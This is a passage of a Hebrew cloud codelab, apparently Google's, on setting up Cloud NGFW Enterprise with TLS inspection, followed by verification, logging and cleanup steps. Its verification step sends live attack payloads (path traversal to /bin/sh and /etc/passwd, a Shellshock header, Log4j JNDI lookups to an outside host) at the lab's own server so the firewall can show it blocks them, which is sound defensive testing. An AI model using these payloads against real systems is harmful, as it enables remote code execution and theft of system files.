הפקודות שלמעלה כללו את אישור CA ברמה הבסיסית כחלק ממאגר האישורים, כי אישור השרת נחתם באמצעות רשות האישורים ברמה הבסיסית. כלומר, חומת האש תבטח בכל האישורים שהיא תקבל עם חתימת CA של Root, בנוסף לרשויות ה-CA הציבוריות, אם מדיניות ה-TLS קובעת כי ה-PublicCaSet לא נכלל כ-FALSE.

בודקים את התוכן של הגדרות האמון.

cat trust_config.yaml

פלט לדוגמה:

חשוב לשים לב במיוחד ליישור של כניסת האישור. הוא חייב להיות בפורמט הזה בדיוק.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

מייבאים את הגדרות האמון:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

מעדכנים את קובץ ה-YAML של מדיניות ה-TLS כך שיכלול את הגדרת האמון:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

ייבוא המדיניות המעודכנת בנושא TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. אימות בדיקת TLS באמצעות E/W TLS

SSH חוזר ללקוח כדי לבדוק את תעבורת הנתונים E/W עם הגדרות האמון המעודכנות:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

מריצים את דוגמת בקשת ה-TLS אל השרת:

curl https://$target_privateip --max-time 2

אם הפלט הבא עדיין מופיע, צריך להמתין להפצת העדכונים.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

הפלט אמור להיראות כך:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

שלח תנועת בדיקה זדונית אל השרת:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

הפלט אמור להיראות כך:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

לא התקבלו תגובות בהתאם לפלט הצפוי שבהמשך, שמאמת שההתקפות לדוגמה חסומות עכשיו עבור E/W.

13. רישום ביומן

עוברים אל רישום ביומן > Logs Explorer דרך מסוף Cloud, מזינים את המסנן למטה ושולחים שאילתות על היומנים. מחליפים את [PROJECT_ID] ב-project_id:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

הרשומות ביומן של Cloud NGFW Enterprise צריכות להיראות דומות כמפורט למטה:

5b68cc1063c0f4bd.png

מרחיבים את הרשומות ביומן ושימו לב שההתקפות שנשלחו מ-vm של הלקוח לשרת זוהו ונחסמו (Apache Log4j Remote Code Execution Vulnerability, לפי צילום המסך שלמטה).

478f18f8481e90ed.png

פרסתם בהצלחה את Cloud NGFW Enterprise עם בדיקת TLS כדי לחסום בקשות זדוניות.

מעבר לקטע הבא כדי לסיים את שלבי הניקוי.

14. שלבי ההסרה

ניקוי ההגדרות הבסיסיות

מסירים את המופעים:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

צריך לבצע את השלבים הבאים: אם התפקידים של tagAdmin ו-tagUsers השתנו:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

מסירים את המפתח והערכים של התג:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

הסרת המדיניות והשיוך של Cloud Firewall Network:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

מוחקים את Cloud Router ואת Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

מוחקים את כתובות ה-IP השמורות:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

ניקוי SPG, שיוכים ו-TLS ב-Cloud

מוחקים את קבוצת פרופילי האבטחה ואת פרופיל האיום לפי הסדר הבא:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

מחיקת השיוך של נקודת הקצה ל-Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

מוחקים את נקודת הקצה ב-Cloud Firewall. הפעולה עשויה להימשך כ-20 דקות:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

אם רוצים, מוודאים שנקודת הקצה ב-Cloud NGFW נמחקה על ידי הרצת הפקודה הבאה:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

המצב של נקודת הקצה צריך להיות:

STATE: DELETING

בסיום התהליך, נקודת הקצה לא תופיע יותר.

מוחקים את מדיניות ה-TLS ואת הגדרות ה-Trust לפי הסדר הבא:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

השבתה ומחיקה של מאגר אישורי ה-CA והרשות של רשות האישורים (CA):

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

ניקוי תת-רשת ו-VPC

לבסוף, מוחקים את רשת המשנה ואת רשת ה-VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. מעולה!

כל הכבוד, השלמת בהצלחה את התהליך של Cloud NGFW Enterprise לבדיקת קוד Lab לבדיקת TLS לכיוון מזרח-מערב וצפון תאילנד.